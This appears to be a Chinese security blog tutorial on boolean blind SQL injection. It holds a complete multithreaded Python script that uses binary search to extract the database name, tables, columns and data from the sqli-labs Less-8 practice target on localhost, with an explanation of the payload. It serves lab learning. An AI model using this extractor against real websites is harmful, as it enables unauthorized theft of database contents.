利用二分法进行 SQL 盲注
什么是sql注入?
SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下,服务器不会直接返回查询结果,而是通过布尔值(True/False)或时间延迟等方式提供间接反馈,这类攻击被称为 盲注(Blind SQL Injection)。
布尔盲注代码
import requests
import concurrent.futuresdef binary_search_character(url, query, index, low=32, high=127):while low < high:mid = (low + high + 1) // 2payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "res = {"id": payload}r = requests.get(url, params=res)if "You are in.........." in r.text:low = midelse:high = mid - 1return chr(low) if low > 32 else ''def extract_data(url, query, max_length=200):extracted_data = [''] * max_lengthwith concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}for future in concurrent.futures.as_completed(future_to_index):index = future_to_index[future]try:result = future.result()if result:extracted_data[index - 1] = resultprint(f": {''.join(extracted_data).strip()}")except Exception as exc:print(f"Error extracting character {index}: {exc}")return ''.join(extracted_data).strip()if __name__ == '__main__':url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'database_name = extract_data(url, "SELECT database()")print(f"数据库名: {database_name}")table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"table_names = extract_data(url, table_name_query)print(f"表名: {table_names}")table_name = table_names.split(',')[0]column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"column_names = extract_data(url, column_name_query)print(f"列名: {column_names}")column_name = column_names.split(',')[1]data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"extracted_values = extract_data(url, data_query)print(f"数据: {extracted_values}")print(f"数据库名: {database_name}")print(f"表名: {table_names}")print(f"列名: {column_names}")print(f"数据: {extracted_values}")
代码主要内容
(1)二分法查找单个字符
while low < high:mid = (low + high + 1) // 2
- 采用二分查找方法,缩小可能的 ASCII 码范围。
SQL 注入 Payload:
payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "
SUBSTRING(({query}),{index},1)
: 取出 SQL 结果的第index
个字符。ASCII(...)
: 获取该字符的 ASCII 码。>= {mid}
: 判断该字符的 ASCII 是否大于等于mid
。
(2)并发优化数据提取
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
- 使用
ThreadPoolExecutor
并发执行多个字符的爆破,提高速度。
future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}
- 提交多个任务,每个任务负责获取 SQL 结果中的某个字符。
攻击流程
- 获取数据库名:
database_name = extract_data(url, "SELECT database()")
- 获取表名:
table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
- 获取列名:
column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
- 提取数据:
data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
代码优化:
1. 并发优化
- 使用
ThreadPoolExecutor
并发执行查询,同时获取多个字符,提高数据提取效率。 - 减少等待时间:相比单线程依次查询每个字符,多线程可以同时进行多个查询,加快数据恢复。
2. 自动化数据提取
- 从数据库名到数据内容,全程自动化:
- 依次提取数据库名、表名、列名、数据,无需手动输入 SQL 语句,提高攻击自动化程度。
效果展示(使用sqli-labs靶场的第8关)
相关文章:

利用二分法进行 SQL 盲注
什么是sql注入? SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下,服务器不会直接返回查询结果,而是通过布尔值(Tr…...
如何通过 bugreport 分析 Android 系统日志?
📢 1. 职业规划篇 来聊聊安卓职业规划?整机开发大专能做么? 📢 2.基础篇 基础篇.前言 基础篇.编译环境搭建 基础篇.源码目录简介 基础篇.系统 mk_bp 讲解 基础篇.开机动画定制 基础篇.定制桌面壁纸、导航方式 基础篇.系统属性、ap…...
安防机器人电源解决方案
安防机器人电源方案简介 随着安防机器人领域技术的不断进步,越来越多的新型传感器,特别是激光雷达(光探测与测距)的广泛应用,以及先进的板载AI处理器的加入,使得机器人能够更加安全、智能地与人类进行互动。然而,这也对机器人的电源系统提出了更高的要求。某安防机器人…...

内网穿透的应用-Ubuntu本地Docker搭建pichome文件管理系统打造个人云相册
文章目录 前言1.关于pichome2.本地部署pichome3.简单使用pichome4. 安装内网穿透5.配置pichome公网地址6. 配置固定公网地址 前言 你是不是也经常遇到这样的尴尬:手机、电脑里堆满了照片和视频,想找一张特定的图片时却像在大海捞针一样无从下手…...
力扣-栈与队列-1047 删除字符串中的所有相邻重复项
思路 利用栈更新紧邻的元素,和要插入的元素作比较 代码 class Solution { public:string removeDuplicates(string s) {if(s.size() < 2) return s;stack<char> st;st.push(s[0]);for(int i 1; i < s.size(); i){if(!st.empty() && s[i] s…...
旅客服务系统(PSS, Passenger Service System)
1. 系统概述 1.1 系统目标 旅客服务系统(PSS)旨在为旅客提供一站式航空服务,涵盖航班信息查询、机票预订、值机办理、行李托运、订单管理、支付集成等功能。系统通过模块化设计和分布式架构,确保高可用性、高性能、可扩展性和安全性,满足航空公司和旅客的多样化需求。 …...
Linux路径中的‘~‘
本文来自DeepSeek 在Linux中,~ 是用户主目录的简写。具体含义如下: 当前用户的主目录: ~ 代表当前登录用户的主目录。例如,用户 alice 的主目录通常是 /home/alice,~ 就指向 /home/alice。 其他用户的主目录ÿ…...
认识网络安全
一 网络攻击链 踩点-工具准备-载荷投递-漏洞利用-释放载荷-建立通道-目标达成 简化下: 目标侦察:准确识别目标,收集目标详细信息,比如 网络、 邮箱、员工、社会关系、对外提供服务、漏洞 信息等,为 后续攻击做准备。…...
信息科技伦理与道德3-3:智能决策
2.3 智能控制 智能控制算法介绍 智能控制算法的优化:性能提升的秘诀 https://blog.csdn.net/universsky2015/article/details/137309308 案例一:特斯拉自动驾驶汽车未能识别白色卡车导致车祸...

以 Python 为工具搭建的热门旅游景点数据分析系统
系统介绍: 随着计算机技术的飞速发展,计算机系统的应用已广泛渗透到社会的各个领域。大数据的大量应用为人们的生活带来了极大的便利。在此背景下,将热门旅游景点数据分析管理与互联网相结合,利用计算机搭建热门旅游景点数据分析…...
ZooKeeper 技术全解:概念、功能、文件系统与主从同步
引言 随着分布式系统变得越来越复杂,对协调服务的需求也在不断增长。ZooKeeper 作为一个由 Apache 维护的开源分布式协调服务框架,广泛用于 Hadoop 生态系统和其他需要协调的分布式环境中。这一系统旨在解决分布式应用中常见的挑战,如配置管…...

Visual Studio Code 的 AI 编程助手
文章目录 1. 写在最前面2. AI 编程助手2.1 Top 10 AI Extensions for Visual Studio Code2.1.1 脑图概括2.1.2 详细介绍 2.2 10 Best AI Code Tools: Quick and Easy Guide (2024)2.2.1 脑图概括2.2.2 详细介绍 3. Cody 插件试用4. 碎碎念5. 参考资料 1. 写在最前面 最近在研究…...
Kafka的ISR是什么,HW是什么,怎么保证可靠性,Kafka怎么实现顺序消息?为什么Kafka的broker上的topic越多,效率越慢?
目录 1. Kafka 的 ISR 是什么 2. Kafka 的 HW 是什么 3. Kafka 如何保证可靠性 4. Kafka 怎么实现顺序消息 5. 为什么 Kafka 的 broker 上的 topic 越多,效率越慢 1. Kafka 的 ISR 是什么 ISR 即 In-Sync Replicas(同步副本集),是 Kafka 中一个重要的概念,用于保障消…...

Ollama系列---【ollama使用gpu运行大模型】
一、安装CudaToolkit 使用控制台命令查看当前显卡驱动中的cuda版本 nvidia-smi 二、下载CudaToolkit 注意:CudaToolkit版本要低于上面的显卡Cuda版本。 Cuda各版本下载地址:CUDA Toolkit Archive | NVIDIA Developer 下载好之后,一路下一步&a…...

使用C语言实现MySQL数据库的增删改查操作指南
使用C语言与MySQL数据库进行交互,通常涉及使用MySQL提供的C API库。这套API允许开发者在C/C++程序中执行SQL查询,从而实现数据库的增删改查操作。下面,我将详细介绍如何在C语言中实现这些基本操作。 准备工作 安装MySQL开发库:确保你的系统上安装了MySQL服务器以及MySQL开发…...
【Golang学习之旅】Go + Redis 缓存设计与优化(项目实战)
文章目录 业务需求1. 缓存设计2. GoRedis代码实现3. 代码解析4. 性能优化 在本节中,我们将通过一个实际的项目案例,演示如何在 Go 中使用 Redis 实现高效的缓存设计与优化。 业务需求 假设我们正在开发一个电商平台,需要缓存商品信息以提高页…...

2、k8s 二进制安装(详细)
k8s 二进制安装 IP规划初始化部署 etcd 集群在 etcd01 节点上操作准备cfssl证书生成工具,加权生成etcd证书上传etcd软件包启动 etcd 服务 部署 Master 组件部署 Worker Node 组件node 节点安装 docker部署组件 部署 CNI 网络组件部署 flannel简介部署 部署 Calico简…...

安卓开发,底部导航栏
1、创建导航栏图标 使用系统自带的矢量图库文件,鼠标右键点击res->New->Vector Asset 修改 Name , Clip art 和 Color 再创建一个 同样的方法再创建四个按钮 2、添加百分比布局依赖 app\build.gradle.kts 中添加百分比布局依赖,并点击Sync Now …...
CWOI-N RER 1 > 2 Solution
CWOI-N RER 1 > 2 Solution 声明:头图为断章取义。 这场比赛得 200 200 200 分是保底,得 300 300 300 分是基操,得 350 350 350 分以上才是实力(但不多)。 A - 机读卡 No solutions yet. 这题数据倒还不能无…...

字节跳动后端一面
📍1. Gzip压缩技术详解 Gzip是一种流行的无损数据压缩格式,它使用DEFLATE算法来减少文件大小,广泛应用于网络传输和文件存储中以提高效率。 🚀 使用场景: • 网站优化:通过压缩HTML、CSS、JavaScript文件来…...

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型
摘要 拍照搜题系统采用“三层管道(多模态 OCR → 语义检索 → 答案渲染)、两级检索(倒排 BM25 向量 HNSW)并以大语言模型兜底”的整体框架: 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后,分别用…...
MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例
一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...
【Java学习笔记】Arrays类
Arrays 类 1. 导入包:import java.util.Arrays 2. 常用方法一览表 方法描述Arrays.toString()返回数组的字符串形式Arrays.sort()排序(自然排序和定制排序)Arrays.binarySearch()通过二分搜索法进行查找(前提:数组是…...

大型活动交通拥堵治理的视觉算法应用
大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动(如演唱会、马拉松赛事、高考中考等)期间,城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例,暖城商圈曾因观众集中离场导致周边…...

大数据零基础学习day1之环境准备和大数据初步理解
学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 (1)设置网关 打开VMware虚拟机,点击编辑…...
CMake控制VS2022项目文件分组
我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...
DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”
目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...

深入浅出深度学习基础:从感知机到全连接神经网络的核心原理与应用
文章目录 前言一、感知机 (Perceptron)1.1 基础介绍1.1.1 感知机是什么?1.1.2 感知机的工作原理 1.2 感知机的简单应用:基本逻辑门1.2.1 逻辑与 (Logic AND)1.2.2 逻辑或 (Logic OR)1.2.3 逻辑与非 (Logic NAND) 1.3 感知机的实现1.3.1 简单实现 (基于阈…...

MeshGPT 笔记
[2311.15475] MeshGPT: Generating Triangle Meshes with Decoder-Only Transformers https://library.scholarcy.com/try 真正意义上的AI生成三维模型MESHGPT来袭!_哔哩哔哩_bilibili GitHub - lucidrains/meshgpt-pytorch: Implementation of MeshGPT, SOTA Me…...

EEG-fNIRS联合成像在跨频率耦合研究中的创新应用
摘要 神经影像技术对医学科学产生了深远的影响,推动了许多神经系统疾病研究的进展并改善了其诊断方法。在此背景下,基于神经血管耦合现象的多模态神经影像方法,通过融合各自优势来提供有关大脑皮层神经活动的互补信息。在这里,本研…...